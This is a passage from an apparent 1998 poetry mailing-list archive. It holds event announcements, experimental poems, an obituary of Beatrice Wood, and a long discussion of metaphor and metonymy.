> *--Charles Smith*
>
> *Sound States: Innovative Poetics and Acoustical Technologies*
> *by Adalaide Kirby Morris, ed., University of North Carolina Press (1998)*
> *ISBN-0807846708 360 pages, $24.95.*
> *"At least since the late 1920s some writers have been trying to free writing from the*
> *book, from the restrictions of print. This collection of essays explores the*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> *aural aspect*
> *of poetics, especially focusing on the technologies of sound and the possibilities they*
> *provide and provoke. Subjects range from Caribbean dub poetry to the experiments*
> *of John Cage and Cecil Taylor. Here's a book to add to that small but vital shelf that*
> *illuminates this essential ground--it's a good introduction to the issues and sends you*
> *off to the best source material. "*

↑ Index

555. **Stephen Cope**

New Writing Series in San Diego

Sun 15 Mar 1998

List-

Still a few yet-to-be-announced events, but otherwise it's complete. I wanted to give you all enough time to make your travel plans...

UCSD NEW WRITING SERIES SPRING 1998
(Unless otherwise noted, all events take place at the Visual Arts Performance Space on the UCSD campus at 4:30PM)

---

* Jay Wright April 9 *

The acclaimed author of several books of poetry, including _Boleros_ and _The Double Invention of Komo_, Wright's work is often cross-cultural in scope, drawing on intersections of American, African, and African-American mythology and history. _Selected Poems of Jay Wright_ was published in 1987 by Princeton University Press, and includes an afterword by Harold Bloom.

* Lydia Davis April 15 *

A former San Diegan, Davis is the author of a novel, _The End of the Story_, and two collections of stories, _Break it Down_ and _Almost No Memory_. Her work has appeared in numerous journals and anthologies, most recently _The Best American Short Stories 1997_. She teaches at Bard College in New York.

* A CELEBRATION OF POEMS FOR THE MILLENNIUM April 19 *
Scheduled 3:00 p.m. in the Geisel Room of the Central University Library. Reception & party to follow.

Readings and performances to celebrate the publication of the second volume of Rothenberg and Joris's groundbreaking anthology _Poems for the Millennium: The University of California Book of Modern & Postmodern Poetry_, a

"brilliant revision of all we'd thought was 'poetry of the twentieth century'"(Robert Creeley) and "a sourcebook for the future." (Gary Snyder)

* Douglas Messerli and Joe Ross April 22 *

Founder of the seminal literary press Sun & Moon, Messerli is the author of several books of poetry and an ongoing work _Structures of Destruction_. Under the pseudonym of Kier Peters, he has written several dramas which have been performed nationwide. Ross recently moved to San Diego from Washington D.C., where he was the Literary Editor for the Washington Review. His tenth book of poetry, _EQUATIONS=equals_, is forthcoming from Sun & Moon.

* Yoshimasu Gozo and Marilia April 24 *
Scheduled 7:00 p.m. at CRCA in collaboration with the UCSD Interarts Consortium.

One of the most acclaimed of contemporary Japanese poets, Yoshimasu is also an accomplished performer, often working to jazz or improvised accompaniment. As a singer and performance artist Marilia has given numerous performances around the world, including collaborations with Yoshimasu and with Butoh dance founder Kazuo Ohno.

* Ed Roberson April 29 *

Ed Roberson's fourth and most recent book, _Voices Cast Out to Talk Us In_, won the 1994 Iowa Poetry Prize, and has established him as a major figure in contemporary African-American poetry. Ed Foster has called Roberson "one of those 'hidden masters'" and "one of our best," and Nathaniel Mackey has described his poetry as "wrought, wry, entrancing, transportative, strict, soul-sustaining." He lives in New Jersey.

* John Woods and Jerome Rothenberg May 6 *
Presented in cooperation with PEN American Center's national translation month.

A session of creative translation and performance. John Woods, who has done many award-winning translations from German authors will read from his ongoing translations from Arno Schmidt. Jerome Rothenberg will perform new translations from Pablo Picasso and Vitezslav Nezval and older versions from Kurt Schwitters, Federico García Lorca, and traditional American Indian poetry.

* May 13 TBA *

* John Cayley and Yang Lian May 22 *

Resident for the spring quarter at UCSD, John Cayley is both an innovator with hypertext and web-based poetry and an important translator and disseminator of both the new and the newer Chinese poetry. Yang Lian, as one of the key figures among the post-Mao "misty poets," has continued and expanded his

writing while living outside of China and is today a postmodern experimentalist of genuine international stature.

* May 27 TBA *

↑ Index

556. **linda russo**
Re: metaphoracity redux
Sun 15 Mar 1998

---

sorry for the silence, but here goes / metaphor:

chris s says:
> I've never "bought" the anti-metaphor line, at least in any
> rigid sense (to say there are limits to metaphor or to any
> linguistic tool is one thing, but to say "metaphor forces
> association" and doesn't just let the world BE is quite another...
> for to condemn metaphor (or symbols, etc.) on the grounds of
> the latter, wouldn't one have to condemn POETRY on the grounds
> of the latter more generally?
yes i thought that was a problem in my statement when i reread my
post -- & yes poetry doesn't let things be -- but aren't there
different sorts of poetry -- them that try to "above" (Romantics) them
that try "be" among (moderns); EP is a good example here b/c
(harking on George T's post) he DID condemn poetry on those grounds,
no? (WW condemned poetry for other reasons & also sought to "make it
new" in lyrical ballads . . .) making it new to EP meant (also, &c) making
it seeable (letting it be) (& to comment on GT, addressing metaphor was
but one way to address this) instead of forcing it into some construct
(what i meant by _forcing_ associations). I think there are
different in nuances btw "forcing" "making" "requesting" --
differences in the way different poets treat their materials.
Metaphysicals force, objectivists prod? again, perhaps to simplistic
but a simple way to discern.

Also, i thought you _had to_ condemn poetry to write it. to want to make the
"new" poetry . . .

btw, george thompson's post:
>Furthermore, when EP says "make it new", what does he mean? Does he
>mean "take a good long look and don't compare -- just put it there
>next to the wheelbarrow"?

> *I don't think so. I think he's talking about metaphor. Make it new.*
> *See it new, Metaphor.*

> *No?*
>
> *GT*

↑ Index

557. **Alan Myouka Sondheim**
forwrded from Nikuko, a stupid poem
Sun 15 Mar 1998

-

dreaming of white gauze again, lips tied into place,
severed from the body, appearing to emerge, there's always
the first word, slight tumescence of the cloth,
a definition of smothered language, body arched upwards,
hollow beneath the back (where the back would be),
it's an outline of white gauze, it's always damp, as if
excretions were somehow caught up in all of this,
head bending backwards speaking upside-down, all sounds
are coming-out sounds
sdnuos tuo-gnimoc era
i will be a dash caught in a mesh, i will be a period
coming to an end

↑ Index

558. **Burt Kimmelman**
Re: Deceased Poet Semenovich
Sun 15 Mar 1998

I knew Joe Semanovich. He was a real maverick. Over ten years ago I was attending then eventually running a poetry group/workshop which met at the CUNY Grad Center. One night Joe read a poem that I liked very much but I think he took offense that I said of the experience that it was like Gregory Corso reading "The Raven." As things went on Joe would arrive at meetings half-tanked and would take swigs off a bottle here and there over the span of a meeting. One night he dramatically walked out in a huff after starting a shouting match with someone who was a featured reader. I later ran into him at the Hunter College library where he worked. We were cordial and I don't think he was still mad at me (though his poems were surely wonderfully mad). I don't think in our po-world today there is enough room for people like Joe who was too beset by grievances among other things to play the game properly. RIP.

Burt Kimmelman

↑ Index

559. **Gabriel Gudding**

Re: Deceased Poet Semenovich

Sun 15 Mar 1998

Dear Burt, Dear Fallen Angels,

Ok. So that's depressing. Joe Semenovich, jealous poet and unknown, has, like, died.

I hope his poems are still in my office.

I guess, though, it's not decided yet that he's actually dead, since it certainly does seem as if a guy, as described below, would be just as capable (right word?) of a good practical joke (writing DECEASED on an overdue envelope) as he would be of dying a relatively boozy death.

I'll call Hunter College. Thanks for the information.

Joe Semenovich: R, like, In Peace. Though I frankly am totally chagrined to think that this actually happened, that htis guy sent Syc Rev his last or next to last poems, all of which had to do with age, unpublished-dom, jealousy, and anger, and then, like, goes and Dies. So if this is a joke, I spose R could be Roar. Roar (w/ laughter), or Rest, in Peace, J Semenovich.

Thanks'gain, Burt Kimmelman. Gabe gudding

On Sun, 15 Mar 1998, Burt Kimmelman [redacted] wrote:

> *I knew Joe Semanovich. He was a real maverick. Over ten years ago I was attending then eventually running a poetry group/workshop which met at the CUNY Grad Center. One night Joe read a poem that I liked very much but I think he took offense that I said of the experience that it was like Gregory Corso reading "The Raven." As things went on Joe would arrive at meetings half-tanked and would take swigs off a bottle here and there over the span of a meeting. One night he dramatically walked out in a huff after starting a shouting match with someone who was a featured reader. I later ran into him at the Hunter College library where he worked. We were cordial and I don't think he was still mad at me (though his poems were surely wonderfully mad). I don't think in our po-world today there is enough room for people like Joe who was too beset by grievances among other things to play the game properly. RIP.*
>
> *Burt Kimmelman*

↑ Index

560. **Douglas Barbour**

Re: Tom Beckett's goodbye

Sun 15 Mar 1998

I'm really sorry to see Tom Beckett signing off but am sure glad he signed on. If only because I now have a at least two issues of The Difficulties as well as one of his own small books. Moreover, his own contributions in even this short time have been interesting & of use.

But maybe this is a chatroom as much as anything, & that's not even necessarily a bad thing. Is it?

I didn't go to the trouble Carolyn Guertin did, to actually type in a Webb poem, but certainly agree that Phyllis Webb is, for many of us, one of the finest poets around. And _Naked Poems_ is a key text is the growth of postmodern poetry in Canada, as well as one of the most beautiful desiring erotic poems since Sappho. It's too bad that all her books have been published by small Canadian presses & so she is not well known outside the country. When John Kinsella of Australia was here last year, he found a copy of her Selected Poems in the guestroom; next morning he came storming out crying, 'How come I've never heard of this Phyllis Webb before, reading her was one of the great experiences of my life!' Have to say I liked that...

Doug

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

561. **Michael Heller**
Bay Area: advertisments for myself
Sun 15 Mar 1998

Dear listees,

I'll be doing a few events this week in the Bay Area, as follows:

Reading Wed evening, March 18th at Cody's with Carl Rakosi

Reading Thursday evening, March 19th at 7:30 at A Clean Well Lighted Place, 601 Van Ness

Friday, March 20th, Talk on Objectivist Poetics in the Thirties at Small Press Traffic.

Please check times in Poetry Flash.

↑ Index

562. **groberts**
Re: sininster metaphors vs. dextrous metonymies
Sun 15 Mar 1998

Since this topic is still alive and kicking, I'll post an epigram/epitaph by Donne, which I like because it collapses the metaphor/metonym distinction that at times is too rigidly upheld:

Fall of a Wall

Under an undermined and shot-bruised wall
A too-bold captain perished by the fall,
Whose brave misfortune, happiest men envied,
That had a town for tomb, his bones to hide.

Cannons were developed to overcome walled cities, since by 15th century everyone knew about the old wooden-horse-stuffed-with-killers trick.

Henri Lefebvre and Michel de Certeau have many interesting things to say about metaphor, metonymy, and the definition of spaces. I can't recapitulate their ideas here, but they both suggest that these linguistic ways of creating relationships can support the ideological control of the body's experiential space to social boundaries. The joke/metaphor that the happy men share at the expense of the dead captain is enabled by the quasi-metonymical alliteration (doesn't Freud's analysis of jokes and condesation rely on the subordination of metonymy as a tool for metaphor, maybe not, I'm just free associating here) of "town for tomb," though there is a buried metonymical relationship if we credit the joke with recalling the ancient, some would say original, relationship of cities to cemeteries.

Now that I reread the above I see that it's garbled, but I think Donne's epigram makes more sense in terms of what someone (sorry I can't recall who) called the "fractional" character of some of these figures than in terms of George Hartley's distinction. But however the terms may fall, Donne seems to be suggesting that they "hide" the bare bones of misfortune. Or maybe that metonymy allows the comprehension of the remains of the metaphorical process, for aren't our skeletons when used as evidence that our bodies served the defense of metaphor, the ultimate metonymy for the structures through which language comes and goes, for what is left after violence has moved on?

Gary R.

↑ Index

563. Miekal And
[Fwd: In Mourning & Memory on 3.14.98]
Sun 15 Mar 1998

This is a multi-part message in MIME format.

bye
beatrice

rasputin
zukofsky

by westbyserver.westby.mwt.net (8.8.7/8.8.6) with ESMTP id OAA02487
for <[redacted]>; Sun, 15 Mar 1998 14:57:53 -0600 (CST)
by imo25.mx.aol.com (IMOv13.ems) id JHMJa02816
for <[redacted]>; Sun, 15 Mar 1998 14:42:57 -0500 (EST)
From: BStater <[redacted]>
Date: Sun, 15 Mar 1998 14:42:57 EST
To: [redacted]
Subject: In Mourning & Memory on 3.14.98

```
                    d
            a               a
        d                   d
      a                       a
     d                         d
    a                           a
   d                             d
   a                             a
   d                             d
   a                             a
   d      IN LOVING MEMORY OF OUR        d
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        a                       a
        d          DADAMAMA            d
        a                       a
        d         R.  I.  P       d
        a                       a
        d                       d
        a                       a
        d                       d
        a                       a
        d                       d
        a                       a
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Beatrice Wood, 105, Potter and 'Mama of Dada'

By ROBERTA SMITH

Beatrice Wood, a ceramic artist who was known as much for her irreverent quips, beauty, bohemian lifestyle and famous lovers as for her luminous luster-glaze chalices, and who inspired at least two movie characters, died on Thursday at her home in Ojai, Calif. She had celebrated her 105th birthday on March 3.

An independent woman inclined to say whatever was on her mind, Ms. Wood famously attributed her longevity to "chocolate and young men" and just as memorably titled her 1985 autobiography "I Shock Myself." In fact she was a lifelong vegetarian who neither smoked nor drank and who remained clear-minded enough to take up the computer at the age of 90.

Until two years ago, she worked at the potter's wheel every day, following a strict daily regimen in a studio that was listed under "Places of Interest" in Ojai. A member of the Theosophy movement since 1923, she had moved to Ojai in 1948 to be near its leader, the Indian sage Krishnamurti.

For the last four decades of her life, she dressed exclusively in bright Indian saris and wore large amounts of silver-and-turquoise jewelry, even when throwing pots, with her thick, hip-length gray hair twisted into braids or a bun.

She was born in San Francisco and reared in New York, and demonstrated an early affinity for art and nonconformity, much to the dismay of her wealthy parents. She once said that she was 23 before she got free of her mother and her lady's maid, but she was allowed to go, chaperoned, to Paris when she was 18, where she studied painting at the Academie Julien and acting at the Comedie

Francaise. Back in New York she fell in with some of the most adventurous artistic characters in town.

Her friends included Man Ray, Francis Picabia, Charles Sheeler, Walter and Louise Arensberg, Edgard Varese and Mina Loy. She was closest to Marcel Duchamp and his friend the diplomat and writer Henri-Pierre Roche.

The three founded Blind Man, a magazine that was one of the earliest manifestations of the dada art movement in New York. (In the second and last issue, Ms. Wood defended Duchamp's infamous urinal, rejected by the jury of the 1917 Independents exhibition, with a sentence usually attributed to Duchamp himself: "The only works of art America has given are her plumbing and her bridges.")

Duchamp encouraged her to draw; the results were fey, often autobiographical caricatures.

Her life was already the stuff of movies. Roche's novel about a menage a trois, "Jules et Jim," would inspire Francois Truffaut's 1961 movie of the same name, with the character played by Jeanne Moreau based in part on Ms. Wood.

In 1993, she was the subject of a documentary, "Beatrice Wood, the Mama of Dada," directed by Diandra Douglas. And more recently, she inspired the 101-year-old character of Rose in the movie "Titanic," directed by James Cameron, a neighbor in Ojai.

Ms. Wood liked to say that she had loved seven men she didn't marry and married two men she didn't love, saying that neither marriage was consummated.

Her first, in 1919, to a theater manager from Montreal, resulted from family pressure and soon ended in annulment when it was discovered that the man already had a wife in Belgium.

In 1938, while living in Los Angeles, she married Steve Hoag, an engineer, after a house they owned together in North Hollywood was swept away in a flood, on the correct theory that married people were likely to get Red Cross relief more easily. He lived with her until his death in 1960.

She was a late bloomer as an artist and did not encounter ceramics until the 1930s, when she failed to find a teapot to match some neo-rococo luster-glaze plates she had bought in Holland.

She enrolled in a pottery course at Hollywood High School, and began to research the luster-glaze process in a local library.

She never made that teapot, but became fascinated with the process. Her first works -- small glazed figures whose whimsy echoed her drawings -- sold easily, helping her make it through the Depression. It was not until 1940, when she

studied briefly with the Austrian ceramists Gertrud and Otto Natzler, that she began to appreciate the beauty and possibilities of ceramics as an art form.

After settling in Ojai in 1948, she began to develop her own version of the unpredictable luster-glaze technique, extending a process that embedded the metallic iridescence in the glaze itself, rather than painting it on. While she didn't invent the technique, she did create a unique palette in an extraordinary range of metallic pinks, golds and greens.

At first Ms. Wood supported herself by turning out large quantities of dinner sets, but after the mid 1970s, she was able to concentrate exclusively on more ambitious decorative vessels: chalices, bowls and vases.

Her most complex pieces, which had elaborately decorated surfaces, came only after the mid-1980s, when she was in her 90s. These elaborate, radiant works dominate her most recent retrospective, held last year at the American Craft Museum in New York. The show opens in Florida at the Lake Worth Museum of Contemporary Art on March 27.

Ms. Wood had her first exhibition in 1949 at America House in New York. Her museum exhibitions included a retrospective at the Phoenix Art Museum in 1973. Since 1981, she has had repeated exhibitions at the Garth Clark Gallery, first in Los Angeles and then in New York, where an exhibition of her work will close on April 4.

In 1994, the Smithsonian Institution named Ms. Wood an Esteemed American Artist and Pete Wilson, governor of California, declared her a "California Living Treasure."

Saturday, March 14, 1998
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564. Al Filreis
Rakosi
Sun 15 Mar 1998

For Michael Heller:

So how is Carl Rakosi faring these days? If you have a chance, after the Wednesday event, perhaps you will post a summary. I'm sure I'm joined by others in being interested.

--Al Filreis
Univ. of Pennsylvania

↑ Index

565. **Steve Shoemaker**
Re: Rakosi
Sun 15 Mar 1998

Yes, me too--Long live Carl! Steve

At 10:23 PM 3/15/98 -0500, you wrote:
>For Michael Heller:
>
>So how is Carl Rakosi faring these days? If you have a chance, after the
>Wednesday event, perhaps you will post a summary. I'm sure I'm joined by
>others in being interested.
>
>--Al Filreis
> Univ. of Pennsylvania
>
>

↑ Index

566. **Kcglowworm**
sinister ministers and dextrous homogeneities
Mon 16 Mar 1998

This is George Hartley (which I keep typing because that doesn't seem to appear in the message, but I don't know because I only get the digest version), I'd like to set at least part of the record straight (is that a metaphor?) for Tom Mandel and Henry Gould: 1. I prefaced my earlier citations with the comment that I'm using the terms "metaphor" and "metonymy" metaphorically (which should indicate that I have nothing against metaphor as a linguistic vehicle), meaning further that I'm not talking about language. When I talk about language, then I'll be happy to be accused of knowing nothing about it. What I'm talking about is (to use a metaphor) ideological terrain, a concept I am getting mostly from Althusser and, after him, Laclau and Mouffe. Now this distinction may in many ways itself be a tired one, but I found it useful for a particular discussion of kafka. 2. Having said that, I still can't accept the notion that either metaphor or metonymy lie there innocently as tools at hand but do (to what degree is the question) shape our conception of the relationships they establish rather than simply express (especially if we are borrowing sdomeone else's tropes). 3. That it even occured to the fork and the spoon to run away in the first place is something that interests me.

↑ Index

567. **Henry Gould**
Re: sinister ministers and dextrous homogeneities
Mon 16 Mar 1998

On Mon, 16 Mar 1998 00:21:33 EST Kcglowworm said:
>1. I prefaced my earlier citations with the comment that I'm using the terms
>"metaphor" and "metonymy" metaphorically (which should indicate that I have
>nothing against metaphor as a linguistic vehicle), meaning further that I'm
>not talking about language. When I talk about language, then I'll be happy to
>be accused of knowing nothing about it. What I'm talking about is (to use a
>metaphor) ideological terrain, a concept I am getting mostly from Althusser
>and, after him, Laclau and Mouffe. Now this distinction may in many ways
>itself be a tired one, but I found it useful for a particular discussion of
>kafka.
>2. Having said that, I still can't accept the notion that either metaphor or
>metonymy lie there innocently as tools at hand but do (to what degree is the
>question) shape our conception of the relationships they establish rather than
>simply express (especially if we are borrowing sdomeone else's tropes).
>3. That it even occured to the fork and the spoon to run away in the first
>place is something that interests me.

George, I confess that I just get confused when I read analytical commentaries on these tropes. So I'm not going to say that they can't be understood ideologically or politically. But your position here seems to be slyly self-reflexive. You say that you're not using the terms to talk about language per se, but that you're using them metaphorically to talk about "ideological terrain". So you're using metaphor just as you describe it - to set up a hierarchy of values, in which metaphor, on IDEOLOGICAL TERRAIN, establishes suspicious transcendental-hierarchical relations. You claim not to be talking about poetry - or "only metaphorically". But by your own definition, these "metaphors" for metaphor subsume poetry to the set of your ideological structure of values. I.e., materiality and horizontality are "good"; spirituality and verticality are "bad", or suspicious, or tyrannical, or whatever.

I think the point of Tom's remarks on this, and mine, and several others, is that this characterization of metaphor-in-action is extremely abstract, and a lot of evidence has already been brought forward that metaphor involves materiality and non-hierarchy etc. just as much as metonymy does. And the point of my remarks here is that you can't get out of your argument by saying you're only speaking "metaphorically" about language. Poetry is the subject and you're applying your theory. I just think you need to supply more concrete evidence to win me over, for one. Trouble is I gather supplying that evidence was the purpose of all those essays pro- metonymy of the previous decade, which I'd rather

not read anyway... my ideology gets in the way, like a black hole in a calculator in Calcutta. - Henry Gould

↑ Index

568. Daniel Zimmerman
Re: sinister ministers and dextrous homogeneities
Mon 16 Mar 1998

Kcglowworm wrote:
>
> [George Hartley wrote]:

> *3. That it even occured to the fork and the spoon to run away in the first place is something that interests me.*

It interests me that in the original rhyme, the dish ran away with the spoon.

Dan Zimmerman

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569. Fred Muratori
Ammonsfest at Cornell
Mon 16 Mar 1998

For those interested in the work of A.R. Ammons...

AMMONSFEST: a celebration in honor of A.R. Ammons

April 3-4, 1998
Cornell University
Ithaca, New York

Friday, April 3, 1998

Poetry for A.R. Ammons
Hollis E. Cornell Auditorium, Goldwin Smith Hall
4:00 p.m.
Host: Ken McClane

Readings by Cynthia Bond, Nancy Vierira Couto, Alice Fulton, Angela Shaw

Exhibition Opening and Reception
"A.R. Ammons: The Writing Life"
2B Carl A. Kroch Library
5:30 p.m.

Remarks by Don M. Randel, Provost, Cornell University and H. Thomas Hickerson, Associate Director for Special Collections, Cornell University Library

Saturday, April 4, 1998

The Poetry of A.R. Ammons
Hollis E. Cornell Auditorium, Goldwin Smith Hall

2:00 p.m. "The Natural Philosopher Returns, Singing," Roald Hoffmann,
Frank H.T. Rhodes Professor of Humane Letters, Cornell University

2:30 p.m. "Ammons' Glare: Mortality and Its Metaphors," Helen Vendler, University Professor, Harvard University

Refreshments

4:00 p.m.

Poetry Reading : A.R. Ammons

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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570. **Henry Gould**
Re: sininster metaphors vs. dextrous metonymies
Mon 16 Mar 1998

On Sun, 15 Mar 1998 12:27:12 -0500 Gary Roberts said:
>
>Fall of a Wall
>
>Under an undermined and shot-bruised wall
>A too-bold captain perished by the fall,
>Whose brave misfortune, happiest men envied,
>That had a town for tomb, his bones to hide.

seems like Gary's example shows how metaphor & metonymy are interchange-able depending on the interpreter, to some extent anyway. I read this little story as a metaphor for male lust. The town is a metaphor for tomb - and the wall is a metonymy for the town & vice-versa - but both tomb and town are metaphors for the too-bold Captain's objects of desire. Which means war and

violence in general are also both metaphor-metonymy for same. Now how does this kind of language use serve ideology? Well, it's a kind of rhetoric. But a poetry of "pure metonymy" - the modernist "let-be" beauty of rubble, wall, dead Captain, dead detective, smoke - the aestheticization of all that... can also be read as part of a "controlling" ideology. - henry Gould

↑ Index

571. **Jordan Davis**
my adidas (snap! they're pooo mas)
Mon 16 Mar 1998

---

epic --> lyric -- > amb i e n t

tragedy

|
|
\ /

farce

|
|
\ / ure here

global
branding

↑ Index

572. **MAYHEW**
pomometametonymicalisexuality
Mon 16 Mar 1998

This quote from Lakoff and Turner: "More Than Cool Reason: A Field Guide to Poetic Metaphor" seems quite straightforward:

"--In _metaphor_, there are two conceptual domains, and one is understood in terms of the other.
In _metaphor_, a whole schematic strcutre (with 2 or more entities) is mapped onto another whole schematic structure.
In _metaphor_, the logic of the source-domain structure is mapped onto the logic of the target-domain structure.
None of this is true of metonymy.
Metonymy involves only one conceptual domain. A metonymic mapping occurs within a single domain...
_Metonymy is used primarily for reference: via metonymy, one can refer to

one entity in a schema by referring to another entity in the same schema.
In _metonymy_, one entity in a schema is taken as standing for one other entity in the same schema, or for the schema as a whole.
Metaphor and metonymy do have some things in common.
Both are conceptual in nature.
Both are mappings.
Both can be conventionalized, that is, made part of our everday conceptual system, and thus used automatically, effortlessly, and without conscious awareness.
In both, linguistic expressions that name source elements of the mapping typically also name target elements. That is, both are means for extending the linguistic resources of a language."

Got it?

I don't know what the ideological implications of this are... I remember reading Lakoff on metaphor several years ago and being impressed. (Someone mentioned George Lakoff in the context of this thread).

Must we allegorize our tropes?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

573. Don Wellman
Re: pomometametonymicalisexuality
Mon 16 Mar 1998

.... but one metonymic mapping, including pockets of metaphor, can be congruent and overlay another, sometimes matching, sometimes leaving the ragged edge of difference.

This grammar of metonymic overlays is that of the Canto's I believe where Pound seeks the forma, the map that articulates the congruence of the totality of fields.

... to move into pomosexual terrain: Is it not the sliding of such metonymic fields over one another, creating various conjunctions and disjunctions, that Deleuze and Guattari articulate as a Thousand Plateaus?

Don Wellman

↑ Index

574. **Keston Sutherland**
fitter healthier etc
Mon 16 Mar 1998

WHAT'S TO SHRIEK BACK MISTER

Say gentle redress of logic, over that
necessity on a drip-feed pinched
to make a stand
still kept from this pudding gentle breeze-block to noted
jaw valiantly at the house
edge stuck out, shattered in
to arraigned sub-eye semi-tonguecase perfection from
which a smile for
not every day creeps / sags out back
to the earth ware, back
hand to the teeth scrubbed over in a fix of syntax and prank cowshit,
naive as a leaf
from intra-goose com
punction brats electro-manual stripped of its honeyless
recourse to intro banter, now
choke out, less dazed on her Tunisian
Motorway or its equivalent so saddeningly avail makes
really what the hell
ever masque before
you that you wish that you pray in, in a flash it's there, there is no
fat chance quiplessly to opt
out, you can stuff your face
onto hers and fail to scowl and the drapes flit
either side unseen, under
a stacked crate of all-out watt thunder and cackishly screeched
out fondness, they will not give up their obscurity, not for ten
seconds and counting break
neck speed at near zero alliance to
life spread like a goat's backside's war of pretend illogic.

↑ Index

575. **Aviva99999**
Re: pomometametonymicalisexuality
Mon 16 Mar 1998

In a message dated 98-03-16 16:10:12 EST, you write:

<< Must we allegorize our tropes? >>

Perfect! Best response I've seen yet during this conversation.
Interesting...what're the political implications of allegory!?!

↑ Index

576. **George Thompson**
Re: pomometametonymicalisexuality
Mon 16 Mar 1998

> *This quote from Lakoff and Turner: "More Than Cool Reason: A Field Guide to Poetic Metaphor" seems quite straightforward:*

Thanks to Jonathan for citing Lakoff and Turner, who say in a whole lot more words, and with much more insight, what I was trying to say earlier, more cutely perhaps. As a matter of fact, my own ideas have been influenced not only by Jakobson but also by Lakoff and a good deal more linguistic-oriented research on "metaphor analysis" -- in large part inspired by Lakoff.

The key for me is the notion that metaphor involves mapping between *two* domains, whereas metonymy confines itself to one domain. Likewise, that metonymy is an act of reference, whereas metaphor is an act of reflection [quite literally: two domains and a mirror].

I have to confess that I don't quite understand Don Wellman's post [too fast for me]. Could you illustrate your comments re "this grammar of metonymic overlays is that of the Canto's..."

I am a scholar rather than a poet, so you have to go slow for me.

Best wishes,

GT

↑ Index

577. **Nada Gordon**
fake metaphors, similes, equivalences
Mon 16 Mar 1998

(Speaking of metaphor and its cousin simile...)

Keston Sutherland wrote
>near zero alliance to life spread like a goat's backside's war of pretend
>>illogic.

I feel an impulse to create similes like this one -- an impulse to posit equivalences just for the power rush of naming (it is because I says it is: "I procaim all objects equal"), e.g. (but here with a colon instead of a copula "is" so you can't tell if it's a metaphor or an elaboration)

> *voodoo:*
> *an iron maiden*
> *chomping broken glass*

equivalences that "pretend illogic" but also assert a jubilant connectedness of everything ("everything" represented by alogical word choices, as if those words were congresspeople from disparate districts of meaning getting together to legislate a poem [now that's a weird metaphor-who will take it up?]) -- that can be framed as fake formulas

e.g.

> *rich x lazy = language finger worship*

or just try to addle the brain a liddle bit with similes that almost match up to expectation but slip

> *I streched out over you my longest leg*
> *Like a special hollywood panther dummy*

or

> *Pursuit of trifles*
> *carries the days*
> *outward like spokes*
> *and at the hub a knot*
> *like a fingerprint*

Does anyone else feel this same compulsion towards fake similes? As I write them I'm aware of a perverse flouting of both pomopo convention and conventional convention and that's part of the pleasure.

A couple of questions about metaphors & analogies: they are means by which we understand or conceive of something in terms of something else, right? (Lakoff said so) Is there anything we understand in itself and not by any analogy whatsoever? Would that be *enlightenment*?

Nada

p.s. I apologize for sending the virus warning. I had good intentions.

hebi no niwa ni
ningyo ga tobu
sunaba
nagai kingyo
taiyo wa
kaki ka?

↑ Index

578. **Patrick F. Durgin**
Re: fake metaphors, similes, equivalences
Mon 16 Mar 1998

Your question, Nada, rhetorical though it may be, "Is there anything we understand in itself?" answers / deconstructs itself in that this would require "we" understand understanding in itself.

Patrick F. Durgin

```
`
`
`
`  ----->*<-----
`  K E N N I N G|
`  anewsletterof|
`  poetry&poetic|
`  s418BrownSt.#|
`  10IowaCityIA5|
`  2245USA\/\/\/|
```

↑ Index

579. **Steve Tills**
Re: \engine dire
Mon 16 Mar 1998

Okie-dokie, babe, but there is the question of "who gets to decide who has ears and who doesn't, too. Also, to claim having ears, as well as to claim "Poet X has 'a great ear'" (as has been done quite often since X, Y, and Z made it such a fashionably authoritative type of comment back in 19__), can get_____.

Henry Gould wrote:

> *In poetry there are no men or women; only ears. Anthologies are no measure; critics are no measure; only ears measure. Those who have ears to hear, let them hear.*
>
> *The gender issue is a form of politics & journalism. Important, in those disciplines. Poetry is a vocation.*
>
> *Does this mean I think gender is an "issue"? No. I think "issue" is a sexless noun, without memory. [speaking poetically-speaking]*
>
> *What is memory? Why ask? You know.*
>
> *I don't care anymore about the sociology of poetry. It takes ears to hear what I hear. I hear Melville, eating potato chips in his PJ's. [really?]*

> *Poetry is asked to do a lot by people who don't do poetry much. Well, it will, in its own good time. But you p.c. pharisees won't know what it is, Mr. Jones. Speak up, gals. Spandrift - he dead.*
>
> *I don't hear much, really. But I'm hungry for the sound of what I hear. That's what ears are for. OK - it's not only sound. You win. But it's also not just the first echo you can think of. Men wear whale penises for doilies. Women mount chargers. Aloha! [x-mate. HENRY trips again]*
>
> *Poetry. Everybody has their own idea of Paradise. Neutral, universal, transparent? No thanks. Equilibrium background for soaring...ok for now...*
>
> *"my sister, my dove". Cowwamaunsch [Narragansett for "I love you"]*
>
> *- Henry Gould*

↑ Index

580. **Keston Sutherland**
Re: fake metaphors, similes, equivalences
Mon 16 Mar 1998

balanced with a deployed quota of fakeness, in that goat line, is the fact of goats' exotic semantic history, much of it biblical but cropping up variously through philosophy often as distraction, sin, forgetfulness, satyrs, the inability to promise etc - another link within the line (talking about my line here, strange) is that the goat is about to be sodomised hence "spread like a..", goat sex also slipped into that history at certain flashpoints

I like writing about goats, little seem-stricken critters

k

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581. **MAYHEW**
simile
Tue 17 Mar 1998

I have notice that a certain kind of simile occurs in "creative writing" poems. I call it the "pseudo-profound" simile. It used to make me wince in poetry readings. On the other hand there is the "New York school" simile; an example I recall is "useless as a ski on a barge" or "useless as a ski." I think I came across it in relation to Kenneth Koch. I also like epic similes.

Similes make easy targets because they are so blatantly stupid--unless they are used with some irony. Pound & Williams use them sparingly if at all. WCW condemns them in Spring & All I believe.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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582. Tom Mandel

cruisingfiction

Tue 17 Mar 1998

Schooling me to be more serious (I think, tho email offers incredible space to misinterpret what people right -- very postmodern in that), Henry Gould writes:

"Gosh, those rabbis sure knew how to get a laugh out of a crucifixion. A real knee-slapper toe-nailer, Tom! An image is an image and a god is a god and shucks maybe the Muslims are right. It was all a horsefeedback loopy sorta hat trick. Hardehar at yourdeyour and mightymine EXPENSE - seemingly forever! Aren't tropes fun?? (Especially on Desolation Row.)"

